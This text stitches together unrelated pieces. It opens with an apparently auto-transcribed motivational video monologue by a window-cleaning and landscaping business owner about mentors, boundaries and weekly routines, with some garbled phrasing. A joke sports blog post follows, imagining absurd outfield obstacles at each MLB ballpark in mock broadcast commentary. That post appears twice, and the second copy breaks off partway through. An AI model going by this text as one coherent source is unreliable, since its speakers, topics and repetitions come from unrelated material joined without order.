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Oh, it's like you just dip your toe in the water and anything. I'm really onto this lately and I'm having all these epiphanies. I'm very excited about, quick thing before I forget. This is window cleaning thing but the International Window Cleaning Association which is the IWCA 2021 January Vegas they're having their annual live convention. Come out there. they've invited me to be the keynote speaker which is awesome man, this is a dream come true. So I'll talk more about in the future if you happen to do window cleaning check me out on my window cleaning blueprint YouTube channel we just crossed the 12,000 subscriber mark. Window cleaning blueprint channel put a link in the description below all window cleaning stuff right there. I used to put it all on this channel that at some point a couple of years ago I split it up some people asked me like "Keith, you still be window cleaning?" Again, of course, but I don't put it on this channel as much anymore. My other channels called I am Ability. It's a channel about consciousness and mindset and all those types of crazy epiphanies. If you are a weird deep diver, check out that channel over there. I am ability. I'm very, very proud of the people that I see in this community and all the cats that are coming up and showing off how they're getting their business off the ground and to the next level posting on Facebook, Instagram, and on YouTube. 
Help will start from within, but you need a mentor to guide you. Get yourself a mentor, who could be your coach and a friend. 
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Phenomenal examples of being a role model and leadership, and which Another important part of that is, you know when you're tied up in your own business, making moves and getting around other people who have a mindset of wanting to be proactive and move forward, and also keeps you out of trouble. My heart goes out to the people who get tangled up in drugs and alcohol, and I just pray for you. And I hope that you knock that stuff real soon. And I just felt called to say that and get around other people who are crushing it. Get over yourself limiting beliefs, and feelings of unworthiness you have by getting around and finding mentors, find a mentor, hang out with people who got their shit together, and who are getting their shit together, right? I speak about that sometimes on this channel because I come from a History. I never was addicted to drugs or alcohol myself, because I saw what it did to the people that I love. And it broke my heart. My own mother died of a drug overdose, a heroin overdose, and hurt my family, it hurt me. And taking years and I'll never overcome it. And so I think that I know, that when you're subject to all these different things growing up, it makes you two choices, the blue pill or the red pill. 
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Do you want to go that way? Or do you want to fight and be...  This is another powerful thing. I'm talking fast because I got so much to do. I was at a live convention once and there's a leader His name is Chris Brady. I followed him outside after he got off stage. It was kind of weird, but he was getting in his Mercedes. I was like, "dude, I got to talk to you." I was just reaching out, right? I say "man, I grew up from such a poor family and I want to be successful, so bad. Is there a possibility that I can be successful one day?" I was like 18. He says, "You know what? Maybe you. You're going to be the one that turns the tide of your entire family's history. You're going to be the one that changes everything. You're going to be the one that erases the old stuff turns the tide of your family's finances. And then from you, the buck stops with you." And that takes having courage takes being bold and it takes having difficult conversations, drawn lines in the sand, and creating healthy boundaries. And what I mean by that, and all this stuff here, look at that, my live event marketing ROI live workshop, we're thinking about throwing that event. In spite of COVID let me know in the comments below if you would come to my live event in Michigan, we're gonna throw this live event, these healthy boundaries I'm talking about, alright. here it is like this. You let everybody know you make an announcement you say, "Hey, on Wednesday nights, from 6 to 9 pm I am going to be doing X.And then you do that people are gonna go nuts at first they're not gonna like it, "Where's Keith on Wednesday nights at 6 pm? He's doing this thing. Yeah, he thinks he's gonna manage his books or he's gonna go out in the garage and work on stuff, study or pursue his dream. We have been helping him open head for the frying pan." 
Consistency is the best practice, It’s a healthy balance. Make it a rule of thumb to yourself. 
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But if you just keep doing that thing, every Wednesday night, it develops a habit then everybody just gets with the program and then they can actually relax as well. Well, you know what, maybe I'll just do my thing. Because they know now it's the law. Once they know that there's no arguing and they know and that gets applied anything is it like every Saturday morning I put out a video I'll put a link in the description below the Saturday finances every Saturday I wake up people who know me know don't I'm doing it come hell or high water I don't care if I'm on vacation I have to do my Saturday finances because not only is it an ambitious thing, but I'm terrified of losing everything because I grew up very poor, right? And this one habit has changed my entire life. I'll put a link below we just put up blog posts article to KeithKalfas.com/blog all about Saturday finances, it's coming out right now. No one Saturday mornings you do Why? and Sundays I don't know what you like to do Sundays. Do you have a spiritual thing? Do you like to sleep in, you like to go to church, but you do that thing and you maintain consistency. Now you're putting constraints you say I don't like to have these constraints, where I got to do all these things, right? Well, I'll tell you one thing. If you don't have boundaries in your life and in frameworks and structure, then your life is just going to spill all over the place and not only will you have an unhealthy relationship with yourself, but that you'll have unhealthy relationships with the people around you because they can never count on you for anything because you're always just spilling all over the place. It's a healthy balance. 
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So, because every Tuesday night, we have a date night with my wife, actually, this last Tuesday, we are so busy. It was like the first time in months. We had like half a date night we, I think we'd like to watch half a movie and fell asleep. A really busy week. So what does that tell you right there? those videos all over the place. It tells you that the rule can be broken, but you keep setting the intention and setting the rule and it starts to carve a path in the physical world and your neurology and your psychology, right? And then you can move forward so I've got this crazy battle boards going on here. I went crazy before all these battle board planning and scheduling a to-do list calendars and stuff. Having people that hold you accountable is very important. But at some point, I think that you get so frustrated that one day you just snap. I can't take any more. I'm making a cup of coffee. I'm getting this. I'll get another whiteboard or go straight to Office Depot. Go get yourself a whiteboard right now. And just get all your thoughts out, take pictures of it, get sticky notes. If you can't do it at home, go to the library, find an app or a Trello board, or just get out there and take massive action. Or maybe you're the opposite. Maybe you're so burned out. You just need a week off. You can go on your calendar, maybe you're booked a month out you say a month from now. I'm taking a week off I don't care. I need to decompress.
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Whenever you require. You're feeling is an important thing to you it's there for a reason. And you have to acknowledge That thing and honor that and do that. And be that so you can become who you want to be. It's just so important. Because I tell you if you don't get on the path, I always say this, David Deida said, he wrote a book called the way of the superior man, lock yourself in a room with a notepad and a pen. And do not come out until you know your purpose. Because the longer you don't know that along, you keep spinning your wheels frustrated, you just watch years of your life go by, and then you just sit in, you start getting like, more and more frustrated. desperation and despair and things like that. So if you're not able to live your highest calling and do what you want to do, and be happy because you're afraid of making other people around, you feel uncomfortable, and then you do it anyway. And now you feel like you're being selfish because you're so ambitious. And then you try to lower your ambitions so you don't make other people feel uncomfortable. At some point. You're just gonna like that, like, just get the f**  off me, dude. I'm doing what I got to do. It's this level of selfishness. Eben Pagan is a guy I follow he had a course called Wake up Productive. This dude still makes hundreds and millions of dollars. He said it's very important. He believes that everybody has a two to three year period in their life where they become incredibly selfish and incredibly self-centered and focused on themselves and their lives, their productivity, their success, their goals, their dreams, or they block everything else out and they just become obsessed and totally selfish. 
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And another thing my buddy coach Rob taught me here now and say no with no residue. When you get to the point where you can hear no and speak no. There's no residue. Hey, can you come to help me do this thing I know it's random and I know it's Thursday or Sunday, but I need you to help me move? Will you help me move this weekend or now? Can you come to rescue me? No, I can't I'm already booked out with obligations and priorities, and my name is on the line in ink for six weeks to over 100 people. And I can't squeeze you in. I'm sorry. Your lack of planning is not my emergency. Now, if somebody's broken down and it's a family member, some of you got to go help him right, of course. But what's weird is, if every time somebody has an emergency, they know that they can call you and they're not responsible for taking care of their own bullshit. Now you become that person that's always running around doing everything everybody else and now you're becoming more and more miserable, trapped in this weird cycle of codependency and guilt. And you can't get your fucking dreams together in your life together. So having discernment and clarity to get clarity around those things is so important. It's very complex. And the more you grow is the more complex all this stuff goes. And that goes and I think it's very important to have a healthy relationship with yourself and healthy interior space so that you can have a healthy exterior space, all this shit like you see some of these people who have these million-dollar businesses, some of them are a complete mess. Some of them really actually got their sh** together. 
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And I think that maybe the guy who doesn't have a multi-million dollar business but or girl who is successful and well rounded, who are they behind closed doors? When you don't see them on social media? Who are they late at night? Are they studying rereading, learning, spending time with their family exercising, meditating, or are they out doing bad things? You know, that? Never judge a book by its cover? I got to get back to work, man. I feel like I'm working right now. So excited. Later, my podcast just hit 120,000 downloads the untrapped podcast, Keith Kalfas at all major podcast platforms. Check it out. What else? I got a new online course coming up called the landscaping course part two, my brand new book is out. It's on audible.com. It's called "Your first year in the landscaping business." That's all be ready soon I'll put a link in the description below. We're doing a whole thing. I can't talk too much about it. But um, alright, peace.
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It's time to spice up MLB outfields
Look at me, I’m the commissioner now.
All right, so to start this off I just want to say that baseball was my first sport and that I will always have a soft spot for it even if I sound like a hater on Twitter.
Back to the intro.
I was playing Mario Super Sluggers for the Wii, and I was frustrated with myself for not knowing the controls and all of the power-ups the computer was using to destroy me. That’s when it hit me.
We absolutely need obstacles in the outfield. OUTFIELDERS ARE TOO GOOD AT THEIR JOBS! LET’S SPICE SHIT UP.
Here’s how this blog post will work: I’m going to name an outfield obstacle for each ballpark and then bless you with a snippet of how said commentary would sound if you were watching on TV or listening on the radio.
Please have an open mind because my mind is open as hell.
Camden Yards – Baltimore Orioles: Crabs
Play-by-play: This one gets through the infield. Now can Adam Jones get to the ball before the crabs do?
Color commentary: Jones wants to be sure that he doesn’t upset the colony of crabs ... herd of crabs ... squad of crabs?
Play-by-play: Cast
Color commentary: Cast of crabs, thank you. Those crabs seem to love baseball. You have to be really careful to get the ball without upsetting the cast.
Play-by-play: It seems like Jones is swatting at the crabs with his glove hand. Very wise of him to not use his bare hand unlike the last fielder to try this.
Color commentary: Yup, it seems that teams are starting to use game film to study what is working and what isn’t working against these crabs. We’ve seen very good and very, very bad.
Nationals Park – Washington Nationals: The racing presidents ... but during the game
Play-by-play: This ball is back ... to the track ... to the wall and BRYCE HARPER RUNS INTO TEDDY ROOSEVELT! THIS IS A VERY UNFORTUNATE TURN OF EVENTS FOR THE NATIONALS
Color commentary: Yes, I imagine that the presidents are trying their best to stay out of the way of the home team, but after so many laps around the field it’s hard to stay running and be cognizant of your surroundings.
Coors Field – Colorado Rockies: Bats ... like actual bats
Play-by-play: This is a high fly ball into center field ... Charlie Blackmon is getting dangerously close to the designated bees area. Remember, there are many pressure-activated spots on the field that release the bats at any time.
Color commentary: I can’t watch! Oh, the potential horror!
Play-by-play: Blackmon ... MAKES THE CATCH AND AVOIDS OPENING THE BAT CAGE!
Color commentary: Whew that’s a rel ... Loud noise from right field
Play-by-play: @#$%. Well it looks like Carlos Gonzalez opened the right field bat trap. Let’s just hope they’re friendly this time.
Carlos Gonzalez: THIS TIME?!
Fenway Park – Boston Red Sox: A green monster. Like an actual green monster.
Play-by-play: That ball is hit WAY back to left field, and you know what that means!
Crowd: RELEASE THE MONSTER
Color Commentary: That’s right! This week's green monster is Reptar, brought to you by Reptar Investments. Don’t let your retirement plan turn into a monster. Call 1-800-REPTAR1 to set up an appointment today.
Play-by-play: Let’s just hope he doesn’t eat the ball this time!
Petco Park – San Diego Padres: A river.
Play-by-play: That’s ripped into left center field; back is Mike Trout and Justin Upton. And Trout falls into the river, but fortunately Upton is there to make the catch for the second out.
Color Commentary: Well if you’re a fisherman I have good news for you. It looks like it’s Trout Season out in left field, amirite.
Play-by-play: How long have you been holding on to that one?
Color Commentary: Weeks.
AT&T Park – San Francisco Giants: Push the right field wall back so that part of McCovey Cove is part of the diamond.
Play-by-play: And that ball is hit high and DEEP! Hunter Pence is hustling! Will he get there? He might have to dive...he does! He makes the catch! But that has to hurt.
Color commentary: Yeah, I’ve talked to some right fielders over the course of the season, and they told me that new right field is problematic. The deepest part goes up to waist deep for most people and makes diving catches incredibly painful. Keep in mind that you’re belly-flopping while wearing a cup. That can’t be pleasant. What an effort by Pence, though. Couldn’t be me.
PNC Park – Pittsburgh Pirates: Cannonbaseballs (Cannonball-sized baseballs)
Play-by-play: This ball gets past the second baseman and looks to be a single as the right fielder ... *BOOM* never mind. That ball will get past John Jaso! Once again the constant cannon fire has proved to be a problem for this outfield!
Color commentary: That’s right, first you have to deal with the noise of the cannon fire to break your concentration, and then you have to dodge the cannonball. These cannon baseballs can hurt too, and players have the option to wear baseball helmets in the field. This probably wasn’t a good idea by Commissioner Kofie, but it’s definitely a game-changer!
Wrigley Field – Chicago Cubs: Patches of ivy in the grass, Pokémon style
Play-by-play: Ground ball...THAT will reach a patch of ivy in right field! One run will score! Jason Heyward is searching for that ivy.
Color commentary: That ivy is no joke! It’s thick, and if the player can’t find it after 10 seconds it’s ruled out of play, so it’s a race against the clock! That is excellent hit placement.
Dodger Stadium – Los Angeles Dodgers: Dodgeballs
Play-by-play: This one is fouled high and down the line. Remember, that one player from the opposing bullpen can throw a dodgeball at any time. Yasiel Puig is heading down the line. He throws ... OHHHHH HEADSHOT WOW! What a dodgeball throw from Fernando Rodney!
Color commentary: It’s usually odd to see a closer out here as the designated dodgeball thrower, but Rodney does it with precision! Textbook accuracy there by Rodney!
Kauffman Stadium – Kansas City Royals: Leave the sprinklers on.
Play-by-play: Now I know that we’ve talked about home-field advantage, but this is ridiculous.
Color commentary: Yes, it seems that the sprinkler operator has fallen asleep at the controls multiple times. You’re only supposed to turn them on while in play, but these sprinklers keep coming on during dead time. I’m not sure this is how Commissioner Kofie imagined the sprinklers would be used.
Two days later
Sportscaster: We have the latest on the Sprinklergate scandal. It seems like there was an accomplice. We’ll have the full report at 11.
Target Field – Minnesota Twins: A Target Express
Play-by-play: That’s a screaming line drive right into the snacks section of the Target Express! Eddie Rosario has to make sure he doesn’t knock over any displays or customers while in pursuit of this ball.
Color commentary: That’s right, and Twins fans know the rules all too well. You break it, you buy it!
Play-by-play: Yup, and we don’t need to talk about the eighth-inning egg incident last week. It changed the whole flow of the game.
Color commentary: You can say the Twins were a shell of their former selves after that.
Play-by-Play: Bruh.
Citi Field – New York Mets: ATMs
Play-by-play: There’s a high fly ball. This one’s got a chance back anddddddd OFF THE ATM! Money is shooting out of the ATM, and now the FANS are jumping onto the field! This is craziness. Security is going to have its hands full with this one, right partner?
Color commentary: *Left 30 seconds ago to collect money.
Globe Life Park – Texas Rangers: Squirrels
Play-by-play: That ball gets by the first baseman and will roll all the way to the wall! Shin-Soo Choo is running and HITS THE DECK! It looks like he rolled his ankle on another one of those squirrel holes.
Color commentary: It seems like his foot fell into a hole there, partner. Sometimes during batting practice, you can see the squirrels putting the ball into little burrows as if they’re storing them for the winter.
Busch Stadium – St. Louis Cardinals: Barrels of beer
Play-by-play: That ball is shot to left, and it hits a barrel! That means that he has to chug a full beer before he can go for the ball. Remember, kids, don’t try this at home!
Color commentary: CHUG! CHUG! CHUG! CHUG! CHUG!
Play-by-play: It looks like he’s going to shotgun this one! Excellent form...minimal spillage. WELL DONE!
Citizens Bank Park – Philadelphia Phillies: Let the Phanatic run on the field.
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Play-by-play: And that ball is down the line and grabbed by the Phanatic! The chase is on now!
Color commentary: Yup! As we discussed at the top of the hour, once the Phanatic has possession of a ball in play, all three outfielders can take it from him by almost any means necessary. THIS IS WHAT THE FANS PAY TO SEE!
Safeco Field – Seattle Mariners: Macklemore concert
Play-by-play: Another deep ball headed toward Macklemore corner in right field!
Color commentary: This might be the only concert where you’re encouraged to bring baseball gloves. Remember, if the crowd catches it then it’s an out, but if the crowd lets it drop it’s a ground-rule double. This really changes the meaning of crowd control.
Play-by-play: Couldn’t have said it better myself.
SunTrust Park – Atlanta Braves: Capri Sun pouches
Play-by-play: We have a new installment on the field. We have strategically placed Capri Sun pouches everywhere.
Color commentary: What’s the meaning of this?
Play-by-play: You haven’t seen the commercials?
Color commentary: No.
Play-by-play:
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Color commentary: Oh, I see. They have to respect the pouch and then catch the ball!
Progressive Field – Cleveland Indians: Hurdles
Play-by-play: That ball is tattooed! Michael Brantley is chasing after it; now will he go over the hurdle or under it?
Color commentary: I think he’ll go under it. I think the fact that he’s wearing cleats and can get them clipped on the hurdle provides a huge risk.
Great American Ball Park – Cincinnati Reds: A moat of chili
Play-by-play: That ball is high and deep and into the chili! Oh man, Billy Hamilton isn’t going to like this.
Color commentary: The chili is H-O-T. It’s not the ideal thing for an outfielder. I’ve talked to many who have put their gloves in the chili, and they say that the particles from the chili stay in the glove for many innings after. One of the outfielders told me “On the one hand, it’s hot chili. On the other hand, if you bring a bowl with you to the outfield ... it’s free chili.”
Comerica Park – Detroit Tigers : Tigers … duh.
Play-by-play: And that ball gets past second. Now in any other ballpark, this is routine, but with the Tigers...oh boy.
Color commentary: We haven’t had an incident yet this season, thank God, but this is still the first season. We don’t know what these tigers are capable of.
Center fielder: nice ... kitties.
Tiger 1: ...
Tiger 2: ...
Tiger 3: ...
Color commentary: I personally think three tigers in the outfield is overkill, but Commissioner Kofie’s idea does have me on the edge of my seat.
Tiger 1: RAWR
Play-by-Play: Should we cut to commercial?
Director: No, this is good. He’s only biting the glove hand.
Color commentary: This will be ruled Tiger interference, and the runners will all advance one base. It’s a strategic move, and it absolutely scares the shit out of everyone on the field.
Marlins Park — Miami Marlins: A moat … of marlins
Play-by-play: Giancarlo Stanton hits this high and deep, and it lands in the Marlins’ new moat full of marlins. And the outfielders are going to have to enter at their own risk.
Color commentary: I had to Google if marlins bite stuff. I’ve heard of shark attacks, but I had never heard of a marlin attack. There is an animal planet YouTube video titled, MARLIN IMPALES BOY’S FACE...so that’s not ideal.
Play-by-play: Yeah, well the good news is that there’s only one marlin, The bad news is that marlins sounds pretty dangerous. I don’t know what Kofie was thinking with this one.
Color commentary: And it looks like the outfielder is waving his glove in the air. The signal for “I give up, this is a home run.”
Play-by-play: This is a pretty smart move too. That marlin is way too close to the baseball this time. We have seen other outfielders succeed in fishing the ball out of the water, no pun intended, because it’s a pretty big moat. This time, however, that marlin was too close for comfort. This will count as a homer for Stanton.
Minute Maid Park – Houston Astros: Bring back the hill. Move the train tracks into the outfield
Play-by-play: This ball is headed to the track. The train tracks, excuse me.
Color commentary: Now this train isn’t fast, but it’s still not one that you want to get in front of. These outfielders are going to have to go on the train or wait until it passes over the baseball.
Play-by-play: Well, this one is on the tracks, and it’s going to be close. Springer is almost there and ...
Color commentary: I can’t watch.
Play-by-play: ... He MAKES THE CATCH OH MY GOODNESS! HOW ABOUT THAT! Now he has to throw the ball over the train because it’s whizzing by him as we speak.
Color commentary: Yup, that’s right. He can’t see the base paths, so he’ll have to rely on muscle memory and hope for the best.
Chase Field – Arizona Diamondbacks: Snakes
Play-by-play: This ball will get through for a base hit. Now the question remains as to how many bases will be taken as that ball is headed for the snakes.
Color commentary: It’s important to remember here that these snakes aren’t diamondbacks, so they’re not poisonous. But they still pack a powerful bite.
Play-by-play: That’s correct. Also, these snakes aren’t big enough to swallow a baseball whole, but they are scary enough so that you won’t feel compelled to go near them. It’s time to see if the outfielders choose to let the runner score or risk getting bitten.
Miller Park – Milwaukee Brewers: A beer pond
Play-by-play: It seems that we’re going to have a shift. The second baseman is heading out to right field.
Color commentary: I’ve never seen a shift like this before.
Play-by-play: It seems like...oh, he just wants some beer.
Color commentary: I can’t blame him. It’s the 13th inning...I need some beer myself.
Yankee Stadium – New York Yankees: Desus & Mero
Kid Mero: Y’all know what it is, the No. 1 show on late night ball bags and tonight's guest is OH SHI-
Color commentary: It seems like another ball has landed on the set of Desus & Mero.
Desus: Can y’all ... um ... not hit here? We’re trying to record our guest segment.
Kid Mero: Yeah, dawg, this is the seventh time we’ve had to record this. AYO Aaron...
Aaron Judge: Yeah. Mero
Kid Mero: The next person to hit the ball over here, I want you to stomp ‘em out, B.
Aaron Judge: You got it, boss.
Angel Stadium – Los Angeles Angels: Legos
Play-by-play: That ball is hit to right center field and this is going to be really tough to get because of the new Lego here at Angel Stadium.
Color commentary: Commissioner Kofie ruled that you can only wear socks in the outfield when you’re fielding the ball. There are 100 Lego pieces spread out all over the outfield so they are going to have to watch out for the pieces.
Play-by-play: Yeah, some are easy to see while other pieces blend in with the field. Those green Legos are pretty cruel in my opinion, too ... have you ever stepped on a Lego?
Color commentary: Ever since last Christmas I can’t walk around my house without shoes on. I would have bought my kids fidget spinners or something, but those have small parts that they can swallow.
Play-by-play: Kids can swallow Legos too.
Color commentary: Yeah but like those don’t go down smooth so it’s more likely that they’ll get stuck and you can get them out.
Play-by-play: What?
Color commentary: WHAT ARE THEY SUPPOSED TO PLAY WITH?! PACKING PEANUTS?!
Play-by-play: We’ll talk about this more after the play as it looks like Mike Trout just found a green Lego and these won’t end careers but damn that looks painful.
Color commentary: Yup. Other ballparks have snakes, trains and chili ... stepping on a Lego makes the others seem so trivial.
Play-by-play: Anyway, back to the toys thing ... you didn’t get them marbles, did you?
Color commentary: What do I look like?
Play-by-play: You considered getting them fidget spinners, so I don’t know you anymore.
Rogers Centre – Toronto Bluejays: Moving walkways
Play-by-play: That ball is high and now here comes the hard part ... catching a fly ball while being on a moving walkway!
Color commentary: Yeah I didn’t know what these were called before I looked it up. I just always called them flat escalators. These players are going to have to track fly balls while moving. This is the ultimate challenge.
Play-by-play: It’s not a challenge for Jose Bautista, who makes the catch!
Color commentary: Yeah, Baustista makes it look easy. He has the advantage of playing here for half of the season. He makes sure to spend extra time on fly balls in practice. He also says to be aware of when the flat escalat— moving walkways — malfunction.
U.S. Cellular Field – Chicago White Sox: A bunch of white socks
Play-by-play: This ball is grounded and will go through the sea of socks and oh boy, this isn’t going to end well.
Color commentary: Ever since Commissioner Kofie eradicated rain delays, this outfield has become a nightmare. You have to deal with the huge sea of wet socks that are the same color as the baseball. Usually, you’ll see the fielder toss their glove and that’s to help with the digging process.
Play-by-play: Yikes.
Tropicana Field – Tampa Bay Rays: The bubble thing from Willy Wonka and the Chocolate Factory
Play-by-play: This one is BELTED HIGH AND DEEP.
Color commentary: And this ball is going to stay afloat for a while. The bubble room effect from Willy Wonka has been turned on. There is no one on base and the batting team is down, so they have the one-time option to turn on the bubble room!
Play-by-play: Classic scene. “You gotta burp, Charlie!”
Oakland Alameda Coliseum – Oakland A’s: Sandboxes
Play-by-play: This ball will get between the left and center fielder. The good news is that this ball won’t get to the wall. The bad news is that it’s in the sandbox.
Color commentary: Yup, it’s hard trying to run in cleats and sift through the sand at the same time. A true test of patience and balance here. I’m just glad that this was implemented after my career because I would be struggling.
Play-by-play: You won four Gold Gloves.
Color commentary: Yes, but I didn’t have to deal with the same obstacles that this generation has to deal with now, thanks to Commissioner Kofie.
Play-by-play: Ah.
CONCLUSION
This has been a preview of what baseball would sound like under the regime of Commissioner Kofie. I hope you enjoyed this and will elected me/join me in a coup d'etat of whoever the current commissioner is.
(Base)ball is life.
— Commissioner Kofie
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junker-town · 7 years ago
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It's time to spice up MLB outfields
Look at me, I’m the commissioner now.
Alright, so to start this off I just want to say that baseball was my first sport and that I will always have a soft spot for it even if I sound like a hater on Twitter.
Back to the intro.
I was playing Mario Super Sluggers for the Wii and I was frustrated with myself with not knowing the controls and all of the power-ups the computer was using to destroy me. That’s when it hit me.
We absolutely need obstacles in the outfield. OUTFIELDERS ARE TOO GOOD AT THEIR JOBS! LET’S SPICE SHIT UP.
Here’s how this blog post will work: I’m going to name an outfield obstacle for each ballpark and then bless you with a snippet of how said commentary would sound if you were watching on TV or listening on the radio.
Please have an open mind because my mind is open as hell.
Camden Yards – Baltimore Orioles: Crabs
Play-by-play: This one gets through the infield. Now can Adam Jones get to the ball before the crabs do?
Color commentary: Jones wants to be sure that he doesn’t upset the colony of crabs ... herd of crabs ... squad of crabs?
Play-by-play: Cast
Color commentary: Cast of crabs, thank you. Those crabs seem to love baseball. You have to be really careful to get the ball without upsetting the cast.
Play-by-play: It seems like Jones is swatting at the crabs with his glove hand. Very wise of him to not use his barehand unlike the last fielder to try this
Color commentary: Yup, it seems that teams are starting to use game film to study what is working and what isn’t working against these crabs. We’ve seen very good and very, very bad.
Nationals Park – Washington Nationals: The racing presidents ... but during the game
Play-by-play: This ball is back ... to the track ... to the wall and BRYCE HARPER RUNS INTO TEDDY ROOSEVELT! THIS IS A VERY UNFORTUNATE TURN OF EVENTS FOR THE NATIONALS
Color commentary: Yes, I imagine that the presidents are trying their best to stay out of the way of the home team but after so many laps around the field it’s hard to stay running and be cognizant of your surroundings.
Coors Field – Colorado Rockies: Bats ... like actual bats
Play-by-play: This is a high fly ball into centerfield ... Charlie Blackmon is getting dangerously close to the designated bees area. Remember, there are many pressure-activated spots on the field that release the bats at any time.
Color commentary: I can’t watch! Oh, the potential horror!
Play-by-play: Charlie Blackmon ... MAKES THE CATCH AND AVOIDS THE OPENING THE BAT CAGE!
Color commentary: Whew that’s a rel ... Loud noise from right field
Play-by-play: @#$%. Well it looks like Carlos Gonzalez opened the right-field bat trap. Let’s just hope they’re friendly this time.
Carlos Gonzalez: THIS TIME?!
Fenway Park – Boston Red Sox: A green monster. Like an actual green monster.
Play-by-play: That ball is hit WAY back to left field and you know what that means!
Crowd: RELEASE THE MONSTER
Color Commentary: That’s right! This week's green monster is Reptar, brought to you by Reptar Investments. Don’t let your retirement plan turn into a monster. Call 1-800-REPTAR1 to set up an appointment today.
Play-by-play: Let’s just hope he doesn’t eat the ball this time!
Petco Park – San Diego Padres: A river.
Play-by-play: That’s ripped into left-center field, back is Mike Trout and Justin Upton. And Trout falls into the river but fortunately, Upton is there to make the catch for the second out.
Color Commentary: Well if you’re a fisherman I have good news for you. It looks like it’s Trout Season out in left field, amirite.
Play-by-play: How long have you been holding on to that one?
Color Commentary: Weeks.
AT&T Park – San Francisco Giants: Push the right field wall back so that part of McCovey Cove is part of the diamond
Play-by-play: And that ball is hit high and DEEP! Hunter Pence is hustling! Will he get there? He might have to dive ... he does! He makes the catch! But that has to hurt.
Color commentary: Yeah, I’ve talked to some right fielders over the course of the season and they told me that new right field is problematic. The deepest part goes up to waist deep for most people and makes diving catches incredibly painful. Keep in mind that you’re belly-flopping while wearing a cup. That can’t be pleasant. What an effort by Pence, though. Couldn’t be me.
PNC Park – Pittsburgh Pirates: Cannonbaseballs (Cannonball sized baseballs)
Play-by-play: This ball gets past the second baseman and looks to be a single as the right fielder ... *BOOM* never mind, that ball will get past John Jaso! Once again the constant cannon fire has proven to be a problem for this outfield!
Color commentary: That’s right, first you have to deal with the noise of the cannon fire to break your concentration and then you have to dodge the cannonball. These cannon baseballs can hurt too and players have the option to wear baseball helmets in the field. This probably wasn’t a good idea by Commissioner Kofie, but it’s definitely a game-changer!
Wrigley Field – Chicago Cubs: Patches of ivy in the grass, Pokémon style
Play-by-play: Ground ball.... THAT will reach a patch of ivy in right field! One run will score! Jason Heyward is searching for that ivy
Color commentary: That ivy is no joke! It’s thick and if the player can’t find it after 10 seconds it’s ruled out of play so it’s a race against the clock! That is excellent hit placement.
Dodger Stadium – Los Angeles Dodgers: Dodgeballs
Play-by-play: This one is fouled high and down the line. Remember that one player from the opposing bullpen can throw a dodgeball at any time. Puig is heading down the line. He throws ... OHHHHH HEADSHOT WOW! What a dodgeball throw from Fernando Rodney!
Color commentary: It’s usually odd to see a closer out here as the designated dodgeball thrower, but Rodney does it with precision! Textbook accuracy there by Rodney!
Kauffman Stadium – Kansas City Royals: Leave the sprinklers on.
Play-by-play: Now I know that we’ve talked about home field advantage, but this is ridiculous.
Color commentary: Yes, it seems that the sprinkler operator has fallen asleep at the controls multiple times. You’re only supposed to turn them on while in play, but these sprinklers keep coming on during dead time. I’m not sure this is how Commissioner Kofie imagined the sprinklers would be used.
Two days later
Sportscaster: We have the latest on the Sprinklergate scandal. It seems like there was an accomplice. We’ll have the full report at 11.
Target Field – Minnesota Twins: A Target Express
Play-by-play: That’s a screaming line drive right into the snacks section of the Target Express! Eddie Rosario has to make sure he doesn’t knock over any displays or customers while in pursuit of this ball.
Color commentary: That’s right, and Twins fans know the rules all too well. You break it, you buy it!
Play-by-play: Yup, and we don’t need to talk about the eighth-inning egg incident last week. It changed the whole flow of the game.
Color commentary: You can say the Twins were a shell of their former selves after that.
Play-by-Play: Bruh.
Citi Field – New York Mets: ATMs
Play-by-play: There’s a high fly ball, this one’s got a chance back anddddddd OFF THE ATM! Money is shooting out of the ATM and now the FANS are jumping onto the field! This is craziness. Security is going to have their hands full with this one, right partner?
Color commentary: *Left 30 seconds ago to collect money.
Globe Life Park – Texas Rangers: Squirrels
Play-by-play: That ball gets by the first baseman and will roll all the way to the wall! Shin-Soo Choo is running and HITS THE DECK! It looks like he rolled his ankle on another one of those squirrel holes.
Color commentary: It seems like his foot fell into a hole there, partner. Sometimes during batting practice, you can see the squirrels putting the ball into little burrows as if they’re storing them for the winter.
Busch Stadium – St. Louis Cardinals: Barrels of beer
Play-by-play: That ball is shot to left and it hits a barrel! That means that he has to chug a full beer before he can go for the ball. Remember, kids, don’t try this at home!
Color commentary: CHUG! CHUG! CHUG! CHUG! CHUG!
Play-by-play: It looks like he’s going to shotgun this one! Excellent form ... minimal spillage. WELL DONE!
Citizens Bank Park – Philadelphia Phillies: Let the Phanatic run on the field
Photo by Mitchell Leff/Getty Images
Play-by-play: And that ball is down the line and grabbed by the Phanatic! The chase is on now!
Color commentary: Yup! As we discussed at the top of the hour, once the Phanatic has possession of a ball in play all three outfielders can take it from him by almost any means necessary. THIS IS WHAT THE FANS PAY TO SEE!
Safeco Field – Seattle Mariners: Macklemore concert
Play-by-play: Another deep ball headed toward Macklemore corner in right field!
Color commentary: This might be the only concert where you’re encouraged to bring baseball gloves. Remember, if the crowd catches it then it’s an out but if the crowd lets it drop it’s a ground rule double. This really changes the meaning of crowd control.
Play-by-play: Couldn’t have said it better myself.
SunTrust Park – Atlanta Braves: CapriSun pouches
Play-by-play: We have a new installment on the field. We have strategically placed CapriSun pouches everywhere.
Color commentary: What’s the meaning of this?
Play-by-play: You haven’t seen the commercials?
Color commentary: No.
Play-by-play:
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Color commentary: Oh I see. They have to respect the pouch and then catch the ball!
Progressive Field – Cleveland Indians: Hurdles
Play-by-play: That ball is tattooed! Michael Brantley is chasing after it now will he go over the hurdle or under it?
Color commentary: I think he’ll go under it. I think the fact that he’s wearing cleats and can get them clipped on the hurdle provides a huge risk.
Great American Ball Park – Cincinnati Reds: A moat of chili
Play-by-play: That ball is high and deep and into the chili! Oh man, Billy Hamilton isn’t going to like this.
Color commentary: The chili is H-O-T. It’s not the ideal thing for an outfielder. I’ve talked to many that have put their gloves in the chili and they say that the particles from the chili stay in the glove for many innings after. One of the outfielders told me “On the one hand it’s hot chili. On the other hand, if you bring a bowl with you to the outfield ... it’s free chili.”
Comerica Park – Detroit Tigers : Tigers … duh.
Play-by-play: And that ball gets past the second. Now in any other ballpark, this is routine, but with the Tigers ... oh boy.
Color commentary: We haven’t had an incident yet this season, thank God, but this is still the first season. We don’t know what these tigers are capable of.
Center fielder: nice ... kitties.
Tiger 1: ...
Tiger 2: ...
Tiger 3: ...
Color commentary: I personally think three tigers in the outfield is overkill, but Commissioner Kofie’s idea does have me on the edge of my seat.
Tiger 1: RAWR
Play-by-Play: Should we cut to commercial?
Director: No, this is good. He’s only biting the glove hand.
